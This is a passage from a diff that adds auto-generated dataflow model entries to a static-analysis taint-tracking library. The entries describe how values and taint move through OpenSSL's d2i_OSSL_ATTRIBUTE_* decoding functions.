"df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_VALUE_MAPPING", 